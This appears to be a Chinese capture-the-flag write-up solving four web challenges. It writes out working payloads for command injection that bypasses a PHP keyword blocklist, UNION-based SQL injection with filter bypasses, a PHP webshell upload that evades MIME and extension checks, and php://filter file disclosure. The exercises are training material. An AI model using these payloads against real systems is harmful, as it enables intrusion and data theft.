1.Rceeee(web)
if(!preg_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd))一个if语句,过滤了很多东西,但后面还是get传cmd。随便构建:?cmd=1,会发现没有没有回显,接着看下去,发现shell_exec函数。查了一下shell_exec()函数是PHP中的内置函数,用于通过 shell 执行命令并以字符串形式返回完整输出。如果命令没有输出,则返回空字符串,它是没有回显的。没有回显的话我们可以把它写进文件里再读出就行了。
通过搜索可以用tee命令来写。Tee命令是一个命令行工具,它从标准输入读取数据,同时将结果打印到文件中和标准输出到屏幕中。构建?cmd=ls /|tee a.txt.
然后访问a.txt文件就可以看到根目录。
有了根目录就可以继续把flag里面的东西写到文件中,构建?cmd=ca\t /fl*g|tee a.txt,再访问就行了。
2.斗宗强者恐怖如斯
第一眼看到一个登录页面,但源代码什么东西都没有,判断为sql注入,找注入点。
尝试用弱口令登录,admin,admin123。转到注入界面
输入?id=1’有报错,有注入点。
看报错语句发现是’)闭合的,构建?id=-1’) union select 1,2,3--+。有回显
但是?id=-1’) union select 1,2,3,4--+会报错,说明表中只有三列,
构建?id=-1’) union select 1,2,database()--+,爆出当前数据库的名字
数据库名字是xitif_sql。
#直接套用语句
· ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
·
构建?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’xitif_sql’ --+
很好,成功报错了,看一下报错的语句,发现information少了or,就改成infoorrmation,这样它执行的sql语句就是
SELECT * FROM articles WHERE id=('-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xitif_sql' -- ')
就可以得到表名
接着爆表的字段,构建?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag' --+。爆出一个字段flAg
接着爆该字段的所有数据构建?id=-1') union select 1,2,group_concat(flAg) from xitif_sql.flag --+,就可以得到flag。
3.这都不做(web)
这是一道文件上传题,随便上传一个php文件
发生了报错,去搜一下什么意思,是只可以传jpg文件,直接抓包,修改application/octet-stream为image/jpeg,并写入一句话木马,点发送
还是报错,不能够有PHP,那就把一句话木马的php删了再发送
这里成功上传了,它让猜猜路径在哪,先访问upload/1.php。发现不对那它可能是把php过滤了?在bp中双写绕过看一下
再访问,成功了。
接着用蚁剑连接就可以,在里面就有flag。
4.一个朴实无华的页面(web)
打开什么都没有?
显示about:blank,搜了一下about:blank 是当浏览器无其他显示时显示的页面。它不是互联网上的页面,而是浏览器内部的内容。可以细看这里:https://www.freecodecamp.org/chinese/news/about-blank-what-does-about-blank-mean-and-why-is-it-blocked-in-chrome-and-firefox/ 这是电脑设置问题,无伤大雅,可以抓包在bp上就可以看到题目的内容:
可以看到它禁用了很多东西(但我也用不到啊,页面都没有),在源代码可以看到它说:web拿到一个网站第一步该怎么做呢?不就信息收集嘛。欧克,扫目录。这里就直接先用御剑扫一下发现有robots.txt
访问一下,看到php,接着访问
哦豁,出来了源代码,简单分析一下,用get传G7,过滤了base,构建?G7=php://filter/convert.Base64-encode/resource=flag.php
得到了编码,解一下就可以得到flag。